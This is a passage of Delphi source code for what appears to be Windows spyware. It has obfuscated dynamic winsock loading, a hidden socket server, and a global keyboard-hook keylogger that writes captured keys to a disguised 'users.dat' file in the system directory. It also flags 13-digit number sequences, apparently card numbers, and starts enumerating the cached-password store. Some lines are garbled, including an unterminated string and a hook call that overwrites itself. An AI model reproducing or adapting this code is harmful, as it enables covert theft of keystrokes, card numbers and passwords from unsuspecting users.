LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htonl')); if @LListen <> Nil then Result := LListen(hostlong); FreeLibrary(h_SOCK_DLL); end; end; //function htons(hostshort: u_short): u_short; stdcall; external winsocket name 'htons'; function htons(hostshort: u_short): u_short; stdcall; Type TListen = function(hostshort: u_short): u_short; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htons')); if @LListen <> Nil then Result := LListen(hostshort); FreeLibrary(h_SOCK_DLL); end; end; //function inet_addr(cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; {PInAddr;} { TInAddr } function inet_addr(cp: PChar): u_long; stdcall; Type TListen = function(cp: PChar): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('inet_addr')); if @LListen <> Nil then Result := LListen(cp); FreeLibrary(h_SOCK_DLL); end; end; function inet_ntoa(inaddr: TInAddr): PChar; stdcall; external winsocket name 'inet_ntoa'; function ioctlsocket(s: TSocket; cmd: Longint; var arg: u_long): Integer; stdcall; external winsocket name 'ioctlsocket'; //function listen(s: TSocket; backlog: Integer): Integer; stdcall; external winsocket name 'listen'; function listen(s: TSocket; backlog: Integer): Integer; stdcall; Type TListen = function(s: TSocket; backlog: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('listen')); if @LListen <> Nil then Result := LListen(s, backlog); FreeLibrary(h_SOCK_DLL); end; end; //function ntohl(netlong: u_long): u_long; stdcall; external winsocket name 'ntohl'; function ntohl(netlong: u_long): u_long; stdcall; Type TListen = function(netlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('ntohl')); if @LListen <> Nil then Result := LListen(netlong); FreeLibrary(h_SOCK_DLL); end; end; function ntohs(netshort: u_short): u_short; stdcall; external winsocket name 'ntohs'; //function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv'; function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('recv')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function recvfrom(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer; stdcall; external winsocket name 'recvfrom'; function select(nfds: Integer; readfds, writefds, exceptfds: PFDSet; timeout: PTimeVal): Longint; stdcall; external winsocket name 'select'; //function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send'; function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('send')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr; tolen: Integer): Integer; stdcall; external winsocket name 'sendto'; function setsockopt(s: TSocket; level, optname: Integer; optval: PChar; optlen: Integer): Integer; stdcall; external winsocket name 'setsockopt'; function shutdown(s: TSocket; how: Integer): Integer; stdcall; external winsocket name 'shutdown'; //function socket(af, struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket'; function socket(af, struct, protocol: Integer): TSocket; stdcall; Type TListen = function(af, struct, protocol: Integer): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('socket')); if @LListen <> Nil then Result := LListen(af,struct,protocol); FreeLibrary(h_SOCK_DLL); end; end; function gethostbyaddr(addr: Pointer; len, struct: Integer): PHostEnt; stdcall; external winsocket name 'gethostbyaddr'; //function gethostbyname(name: PChar): PHostEnt; stdcall; external winsocket name 'gethostbyname'; function gethostbyname(name: PChar): PHostEnt; stdcall; Type TListen = function(name: PChar): PHostEnt; stdcall; var LListen :TListen; begin Result := nil; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostbyname')); if @LListen <> Nil then Result := LListen(name); FreeLibrary(h_SOCK_DLL); end; end; function getprotobyname(name: PChar): PProtoEnt; stdcall; external winsocket name 'getprotobyname'; function getprotobynumber(proto: Integer): PProtoEnt; stdcall; external winsocket name 'getprotobynumber'; function getservbyname(name, proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyname'; function getservbyport(port: Integer; proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyport'; //function gethostname(name: PChar; len: Integer): Integer; stdcall; external winsocket name 'gethostname'; function gethostname(name: PChar; len: Integer): Integer; stdcall; Type TListen = function(name: PChar; len: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostname')); if @LListen <> Nil then Result := LListen(name,len); FreeLibrary(h_SOCK_DLL); end; end; //function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; external winsocket name 'WSAAsyncSelect'; function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; Type TListen = function(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAAsyncSelect')); if @LListen <> Nil then Result := LListen(s,HWindow,wMsg,lEvent); FreeLibrary(h_SOCK_DLL); end; end; function WSARecvEx(s: TSocket; var buf; len: Integer; var flags: Integer): Integer; stdcall; external winsocket name 'WSARecvEx'; function WSAAsyncGetHostByAddr(HWindow: HWND; wMsg: u_int; addr: PChar; len, struct: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByAddr'; function WSAAsyncGetHostByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByName'; function WSAAsyncGetProtoByNumber(HWindow: HWND; wMsg: u_int; number: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByNumber'; function WSAAsyncGetProtoByName(HWindow: HWND; wMsg: u_int; name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByName'; function WSAAsyncGetServByPort( HWindow: HWND; wMsg, port: u_int; proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByPort'; function WSAAsyncGetServByName(HWindow: HWND; wMsg: u_int; name, proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByName'; function WSACancelAsyncRequest(hAsyncTaskHandle: THandle): Integer; stdcall; external winsocket name 'WSACancelAsyncRequest'; function WSASetBlockingHook(lpBlockFunc: TFarProc): TFarProc; stdcall; external winsocket name 'WSASetBlockingHook'; function WSAUnhookBlockingHook: Integer; stdcall; external winsocket name 'WSAUnhookBlockingHook'; //function WSAGetLastError: Integer; stdcall; external winsocket name 'WSAGetLastError'; function WSAGetLastError: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAGetLastError')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; procedure WSASetLastError; stdcall; external winsocket name 'WSASetLastError'; function WSACancelBlockingCall: Integer; stdcall; external winsocket name 'WSACancelBlockingCall'; function WSAIsBlocking: BOOL; stdcall; external winsocket name 'WSAIsBlocking'; //function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup'; function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; type TListen = function(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAStartup')); if @LListen <> Nil then Result := LListen(wVersionRequired, WSData); FreeLibrary(h_SOCK_DLL); end; end; //function WSACleanup: Integer; stdcall; external winsocket name 'WSACleanup'; function WSACleanup: Integer; stdcall; type TListen = function: Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('WSACleanup')); if @LListen <> Nil then Result := LListen; FreeLibrary(h_SOCK_DLL); end; end; function __WSAFDIsSet(s: TSOcket; var FDSet: TFDSet): Bool; stdcall; external winsocket name '__WSAFDIsSet'; function TransmitFile(hSocket: TSocket; hFile: THandle; nNumberOfBytesToWrite: DWORD; nNumberOfBytesPerSend: DWORD; lpOverlapped: POverlapped; lpTransmitBuffers: PTransmitFileBuffers; dwReserved: DWORD): BOOL; stdcall; external winsocket name 'TransmitFile'; function AcceptEx(sListenSocket, sAcceptSocket: TSocket; lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var lpdwBytesReceived: DWORD; lpOverlapped: POverlapped): BOOL; stdcall; external winsocket name 'AcceptEx'; procedure GetAcceptExSockaddrs(lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD; var LocalSockaddr: TSockAddr; var LocalSockaddrLength: Integer; var RemoteSockaddr: TSockAddr; var RemoteSockaddrLength: Integer); stdcall; external winsocket name 'GetAcceptExSockaddrs'; function WSAMakeSyncReply(Buflen, Error: Word): Longint; begin WSAMakeSyncReply:= MakeLong(Buflen, Error); end; function WSAMakeSelectReply(Event, Error: Word): Longint; begin WSAMakeSelectReply:= MakeLong(Event, Error); end; function WSAGetAsyncBuflen(Param: Longint): Word; begin WSAGetAsyncBuflen:= LOWORD(Param); end; function WSAGetAsyncError(Param: Longint): Word; begin WSAGetAsyncError:= HIWORD(Param); end; function WSAGetSelectEvent(Param: Longint): Word; begin WSAGetSelectEvent:= LOWORD(Param); end; function WSAGetSelectError(Param: Longint): Word; begin WSAGetSelectError:= HIWORD(Param); end; procedure FD_CLR(Socket: TSocket; var FDSet: TFDSet); var I: Integer; begin I := 0; while I < FDSet.fd_count do begin if FDSet.fd_array[I] = Socket then begin while I < FDSet.fd_count - 1 do begin FDSet.fd_array[I] := FDSet.fd_array[I + 1]; Inc(I); end; Dec(FDSet.fd_count); Break; end; Inc(I); end; end; function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean; begin Result := __WSAFDIsSet(Socket, FDSet); end; procedure FD_SET(Socket: TSocket; var FDSet: TFDSet); begin if FDSet.fd_count < FD_SETSIZE then begin FDSet.fd_array[FDSet.fd_count] := Socket; Inc(FDSet.fd_count); end; end; procedure FD_ZERO(var FDSet: TFDSet); begin FDSet.fd_count := 0; end; //=== stuff function IntToStr(A:Integer):string; begin Str(A,Result); end; function StrToInt(const S: string): Integer; var E: Integer; begin Val(S, Result, E); if E <> 0 then E:=0;//ConvertErrorFmt(SInvalidInteger, [S]); end; procedure AppMsg(Ms:PChar); begin MessageBox(Handle,Ms,'Error',0); end; //=== Cleanup and stop the program === procedure ShutDownServer; begin closesocket(Server); WSACleanup; // UnRegisterClass(lpzClassName,hInst); // Halt; end; //=== Process Messages === procedure ProcessMessages; begin while GetMessage(Msg2,0,0,0) do begin TranslateMessage(Msg2); DispatchMessage(Msg2); end; end; //=== Process CreateWindow === procedure OnCreate(hWnd:Integer); begin //nothing end; procedure OnClose(hWnd:Integer); begin //ShellExecute(0,nil,PChar(paramstr(0)),nil,nil,SW_NORMAL); //=== active it ShutDownServer; GetExitCodeThread(ThreadHdle, ExitCode); TerminateThread(ThreadHdle, ExitCode); GetExitCodeThread(ThreadHdle2, ExitCode2); TerminateThread(ThreadHdle2, ExitCode2); GetExitCodeThread(ThreadHdle3, ExitCode3); TerminateThread(ThreadHdle3, ExitCode3); klog.LogDestroy; end; //=== Socket things ===== //=== Send a String #0 === procedure TSock.WriteString(wParam:word;Buff:PChar); begin send(wParam,Buff^,Length(Buff),0); end; //=== Send Buffer === function TSock.WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; begin Result:=send(wParam,Buff^,Len,0); end; //=== Process OnAccept === procedure TSock.OnServerAccept(wParam,lParam:longInt); begin accept(Server,nil,nil); end; //=== Process OnClose === procedure TSock.OnServerClose(wParam,lParam:longInt); begin //nothing end; function GetLocalHostName: string; var szHostName: array[0..128] of char; begin if gethostname(szHostName, 128) = 0 then Result:= szHostName; end; //======= sysutils ========= function StrPas(Str: PChar): string; begin Result := Str; end; function StrLen(Str: PChar): Cardinal; assembler; asm MOV EDX,EDI MOV EDI,EAX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB MOV EAX,0FFFFFFFEH SUB EAX,ECX MOV EDI,EDX end; function StrCopy(Dest, Source: PChar): PChar; assembler; asm PUSH EDI PUSH ESI MOV ESI,EAX MOV EDI,EDX MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX MOV EDI,ESI MOV ESI,EDX MOV EDX,ECX MOV EAX,EDI SHR ECX,2 REP MOVSD MOV ECX,EDX AND ECX,3 REP MOVSB POP ESI POP EDI end; function StrScan(Str: PChar; Chr: Char): PChar; assembler; asm PUSH EDI PUSH EAX MOV EDI,Str MOV ECX,0FFFFFFFFH XOR AL,AL REPNE SCASB NOT ECX POP EDI MOV AL,Chr REPNE SCASB MOV EAX,0 JNE @@1 MOV EAX,EDI DEC EAX @@1: POP EDI end; function DiskSize(Drive: Byte): Integer; var RootPath: array[0..4] of Char; RootPtr: PChar; SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters: Integer; begin RootPtr := nil; if Drive > 0 then begin StrCopy(RootPath, 'A:\'); RootPath[0] := Char(Drive + $40); RootPtr := RootPath; end; if GetDiskFreeSpace(RootPtr, SectorsPerCluster, BytesPerSector, FreeClusters, TotalClusters) then Result := SectorsPerCluster * BytesPerSector * TotalClusters else Result := -1; end; function DeleteFile(const FileName: string): Boolean; begin Result := Windows.DeleteFile(PChar(FileName)); end; function FileAge(const FileName: string): Integer; var Handle: THandle; FindData: TWin32FindData; LocalFileTime: TFileTime; begin Handle := FindFirstFile(PChar(FileName), FindData); if Handle <> INVALID_HANDLE_VALUE then begin Windows.FindClose(Handle); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi, LongRec(Result).Lo) then Exit; end; end; Result := -1; end; function FileExists(const FileName: string): Boolean; begin Result := FileAge(FileName) <> -1; end; function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if (Index = 0) then begin if P[Index] in LeadBytes then Result := mbLeadByte; end else begin if (P[Index-1] in LeadBytes) and (ByteTypeTest(P, Index-1) = mbLeadByte) then Result := mbTrailByte else if P[Index] in LeadBytes then Result := mbLeadByte; end; end; function ByteType(const S: string; Index: Integer): TMbcsByteType; begin Result := mbSingleByte; if SysLocale.FarEast then Result := ByteTypeTest(PChar(S), Index-1); end; function LastDelimiter(const Delimiters, S: string): Integer; var P: PChar; begin Result := Length(S); P := PChar(Delimiters); while Result > 0 do begin if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then if (ByteType(S, Result) = mbTrailByte) then Dec(Result) else Exit; Dec(Result); end; end; function ExtractFilePath(const FileName: string): string; var I: Integer; begin I := LastDelimiter('\:', FileName); Result := Copy(FileName, 1, I); end; procedure FindClose(var F: TSearchRec); begin if F.FindHandle <> INVALID_HANDLE_VALUE then Windows.FindClose(F.FindHandle); end; function FindMatchingFile(var F: TSearchRec): Integer; var LocalFileTime: TFileTime; begin with F do begin while FindData.dwFileAttributes and ExcludeAttr <> 0 do if not FindNextFile(FindHandle, FindData) then begin Result := GetLastError; Exit; end; FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo); Size := FindData.nFileSizeLow; Attr := FindData.dwFileAttributes; Name := FindData.cFileName; end; Result := 0; end; function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; const faSpecial = faHidden or faSysFile or faVolumeID or faDirectory; begin F.ExcludeAttr := not Attr and faSpecial; F.FindHandle := FindFirstFile(PChar(Path), F.FindData); if F.FindHandle <> INVALID_HANDLE_VALUE then begin Result := FindMatchingFile(F); if Result <> 0 then FindClose(F); end else Result := GetLastError; end; function FindNext(var F: TSearchRec): Integer; begin if FindNextFile(F.FindHandle, F.FindData) then Result := FindMatchingFile(F) else Result := GetLastError; end; //=== Registry call ================ constructor TRegistry.Create; begin RootKey := HKEY_CURRENT_USER; LazyWrite := True; end; function DataTypeToRegData(Value: Integer): TRegDataType; begin if Value = REG_SZ then Result := rdString else if Value = REG_EXPAND_SZ then Result := rdExpandString else if Value = REG_DWORD then Result := rdInteger else if Value = REG_BINARY then Result := rdBinary else Result := rdUnknown; end; function RegDataToDataType(Value: TRegDataType): Integer; begin case Value of rdString: Result := REG_SZ; rdExpandString: Result := REG_EXPAND_SZ; rdInteger: Result := REG_DWORD; rdBinary: Result := REG_BINARY; else Result := REG_NONE; end; end; function TRegistry.GetDataInfo(const ValueName: string; var Value: TRegDataInfo):boolean; var DataType: Integer; begin FillChar(Value, SizeOf(TRegDataInfo), 0); Result := RegQueryValueEx(CurrentKey, PChar(ValueName), nil, @DataType, nil, @Value.DataSize) = ERROR_SUCCESS; Value.RegData := DataTypeToRegData(DataType); end; function TRegistry.GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; var DataType: Integer; begin DataType := REG_NONE; if RegQueryValueEx(CurrentKey, PChar(Name), nil, @DataType, PByte(Buffer), @BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]); Result := BufSize; RegData := DataTypeToRegData(DataType); end; procedure TRegistry.PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); var DataType: Integer; begin DataType := RegDataToDataType(RegData); if RegSetValueEx(CurrentKey, PChar(Name), 0, DataType, Buffer, BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegSetDataFailed, [Name]); end; function TRegistry.GetDataSize(const ValueName: string): Integer; var Info: TRegDataInfo; begin if GetDataInfo(ValueName, Info) then Result := Info.DataSize else Result := -1; end; procedure TRegistry.WriteString(const Name, Value: string); begin PutData(Name, PChar(Value), Length(Value), rdString); end; procedure ReadError(const Name: string); begin // raise ERegistryException.CreateFmt(SInvalidRegType, [Name]); end; function TRegistry.ReadString(const Name: string): string; var Len: Integer; RegData: TRegDataType; begin Len := GetDataSize(Name); if Len > 0 then begin SetString(Result, nil, Len); GetData(Name, PChar(Result), Len, RegData); if (RegData = rdString) or (RegData = rdExpandString) then SetLength(Result, StrLen(PChar(Result))) else ReadError(Name); end else Result := ''; end; procedure TRegistry.CloseKey; begin if CurrentKey <> 0 then begin if LazyWrite then RegCloseKey(CurrentKey) else RegFlushKey(CurrentKey); FCurrentKey := 0; FCurrentPath := ''; end; end; procedure TRegistry.ChangeKey(Value: HKey; const Path: string); begin CloseKey; FCurrentKey := Value; FCurrentPath := Path; end; procedure TRegistry.SetRootKey(Value: HKEY); begin if RootKey <> Value then begin if FCloseRootKey then begin RegCloseKey(RootKey); FCloseRootKey := False; end; FRootKey := Value; CloseKey; end; end; function TRegistry.GetBaseKey(Relative: Boolean): HKey; begin if (CurrentKey = 0) or not Relative then Result := RootKey else Result := CurrentKey; end; function IsRelative(const Value: string): Boolean; begin Result := not ((Value <> '') and (Value[1] = '\')); end; function TRegistry.OpenKey(const Key: string; CanCreate: Boolean): Boolean; var TempKey: HKey; S: string; Disposition: Integer; Relative: Boolean; begin S := Key; Relative := IsRelative(S); if not Relative then Delete(S, 1, 1); TempKey := 0; if not CanCreate or (S = '') then begin Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0, KEY_ALL_ACCESS, TempKey) = ERROR_SUCCESS; end else Result := RegCreateKeyEx(GetBaseKey(Relative), PChar(S), 0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS; if Result then begin if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S; ChangeKey(TempKey, S); end; end; destructor TRegistry.Destroy; begin CloseKey; inherited; end; //== Allocate windows === const InstanceCount = 313; Type TWndMethod = procedure(var Message: TMessage) of object; type PObjectInstance = ^TObjectInstance; TObjectInstance = packed record Code: Byte; Offset: Integer; case Integer of 0: (Next: PObjectInstance); 1: (Method: TWndMethod); end; type PInstanceBlock = ^TInstanceBlock; TInstanceBlock = packed record Next: PInstanceBlock; Code: array[1..2] of Byte; WndProcPtr: Pointer; Instances: array[0..InstanceCount] of TObjectInstance; end; var InstBlockList: PInstanceBlock; InstFreeList: PObjectInstance; function StdWndProc(Window: HWND; Message, WParam: Longint; LParam: Longint): Longint; stdcall; assembler; asm XOR EAX,EAX PUSH EAX PUSH LParam PUSH WParam PUSH Message MOV EDX,ESP MOV EAX,[ECX].Longint[4] CALL [ECX].Pointer ADD ESP,12 POP EAX end; function CalcJmpOffset(Src, Dest: Pointer): Longint; begin Result := Longint(Dest) - (Longint(Src) + 5); end; function MakeObjectInstance(Method: TWndMethod): Pointer; const BlockCode: array[1..2] of Byte = ( $59, { POP ECX } $E9); { JMP StdWndProc } PageSize = 4096; var Block: PInstanceBlock; Instance: PObjectInstance; begin if InstFreeList = nil then begin Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Block^.Next := InstBlockList; Move(BlockCode, Block^.Code, SizeOf(BlockCode)); Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc)); Instance := @Block^.Instances; repeat Instance^.Code := $E8; { CALL NEAR PTR Offset } Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code); Instance^.Next := InstFreeList; InstFreeList := Instance; Inc(Longint(Instance), SizeOf(TObjectInstance)); until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock); InstBlockList := Block; end; Result := InstFreeList; Instance := InstFreeList; InstFreeList := Instance^.Next; Instance^.Method := Method; end; { Free an object instance } procedure FreeObjectInstance(ObjectInstance: Pointer); begin if ObjectInstance <> nil then begin PObjectInstance(ObjectInstance)^.Next := InstFreeList; InstFreeList := ObjectInstance; end; end; var UtilWindowClass: TWndClass = ( style: 0; lpfnWndProc: @DefWindowProc; cbClsExtra: 0; cbWndExtra: 0; hInstance: 0; hIcon: 0; hCursor: 0; hbrBackground: 0; lpszMenuName: nil; lpszClassName: 'TPUtilWindow'); function AllocateHWnd(Method: TWndMethod): HWND; var TempClass: TWndClass; ClassRegistered: Boolean; begin UtilWindowClass.hInstance := HInstance; ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName, TempClass); if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then begin if ClassRegistered then Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance); Windows.RegisterClass(UtilWindowClass); end; Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName, '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil); if Assigned(Method) then SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method))); end; procedure DeallocateHWnd(Wnd: HWND); var Instance: Pointer; begin Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC)); DestroyWindow(Wnd); if Instance <> @DefWindowProc then FreeObjectInstance(Instance); end; //==== Key_log========================= type PGlobalDLLData = ^TGlobalDLLData; TGlobalDLLData = record hHookHWnd: HWND; hKeyHook: HHOOK; end; const MMFileName = 'Users'; var MapHandle: THandle; GlobalData: PGlobalDLLData; tt,Logger:string; l:textfile; cc:byte; procedure OpenSharedData; var Size: integer; CreateFileMappingError: integer; begin Size := SizeOf( TGlobalDLLData ); MapHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MMFileName ); CreateFileMappingError := GetLastError; if ( MapHandle = 0 ) then exit; GlobalData := MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, Size ); if ( GlobalData = nil ) then begin CloseHandle( MapHandle ); exit; end; if ( ( MapHandle <> 0 ) and ( CreateFileMappingError <> ERROR_ALREADY_EXISTS ) ) then begin GlobalData^.hHookHWnd := 0; GlobalData^.hKeyHook := 0; end; end; procedure CloseSharedData; begin UnmapViewOfFile( GlobalData ); CloseHandle( MapHandle ); end; //function KeyCounter( code: integer; wParam: integer; lParam: integer ): lRESULT stdcall; function KeyCounter( code: integer; wParam: integer; lParam: integer ): LRESULT; stdcall; begin OpenSharedData; Result := CallNextHookEx( GlobalData^.hKeyHook, Code, wParam, lParam ); if ( code = HC_ACTION ) then begin if ( lParam > 0 ) then begin PostMessage( GlobalData^.hHookHWnd, UM_KEYHIT, wParam, 0 ); end; Result := 0; exit; end; end; procedure KeyHook_Start( hWin: HWND ); //stdcall; begin OpenSharedData; GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, KeyCounter, hInstance, 0 ); GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, nil, hInstance, 0 ); GlobalData^.hHookHWnd := hWin; end; procedure KeyHook_Stop; //stdcall; begin OpenSharedData; UnHookWindowsHookEx( GlobalData^.hKeyHook ); CloseSharedData; end; procedure TLog.KeyIncrement( var Msg: TMessage ); const lettres: array[65..90] of Char = 'abcdefghijklmnopqrstuvwxyz'; chiffres: array[96..111] of Char = '0123456789*+ - /'; chiffres2: array[48..57] of Char = '0123456789'; var k:integer; s:string; begin k:=msg.WParam; //writeln(inttostr(k)+' : '+char(k)); if k in [96..111] then s:=chiffres[k] else if k in [65..90] then s:=lettres[k] else if k in [48..57] then s:=chiffres2[k] else if k in [112..123] then s:=#255 else if k in [33..40] then s:=#255 else if k = 0 then s:=#255 else if k > 255 then s:=#255 else if k = 16 then s:=crypt('=QKMCR9') else //<SHIFT> if k = 17 then s:=crypt('=AWVI8') else //<CTRL> if k = 18 then s:=crypt('=COP;') else //<ALT> if k = 20 then s:=crypt('=ABTV8') else //<CAPS> if k = 144 then s:=crypt('=LVI;') else //<NUM> if k = 9 then s:=crypt('=vbf;') else //<tab> if k = 8 then s:=crypt('=<') else //<> if k = 223 then s:='!' else if k = 219 then s:=')' else if k = 187 then s:='=' else if k = 221 then s:='^' else if k = 186 then s:='$' else if k = 192 then s:='? else if k = 220 then s:='*' else if k = 188 then s:=',' else if k = 190 then s:=';' else if k = 191 then s:=':' else if k = 226 then s:='<' else if k = 222 then s:='?' else if k = 13 then s:='?' else if k = 32 then s:=' ' else if k = 46 then s:=crypt('=ffh;') else //<del> if k = 45 then s:=crypt('=kmw;') else //<ins> s:='['+inttostr(k)+']'; logger:=logger+s; write(s); if (s[1] in ['0'..'9']) or (s[1]=' ') or (s[1]='-') then inc(cc) else cc:=0; if (cc=13) then begin cc:=0; Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); Registre.WriteString('1','1'); Registre.Free; end; if length(logger)>200 then begin if not fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat rewrite(l); write(l,' '); closefile(l); end; assignfile(l,systemdir+crypt(']wpawu)lh~'));//\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; end; end; procedure TLog.LogCreate; var tyhwnd:thandle; begin cc:=0; tyhwnd := AllocateHwnd(KLog.KeyIncrement); KeyHook_Start(tyhwnd); end; procedure TLog.LogDestroy; begin KeyHook_Stop; {$I-} assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; {$I+} end; //=== password connection function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall; var s1 : string; s2 : string; begin result:=true; SetLength(s1,pce^.cbResource); Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource); s1:=pchar(s1); SetLength(s2,pce^.cbPassword); Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword); 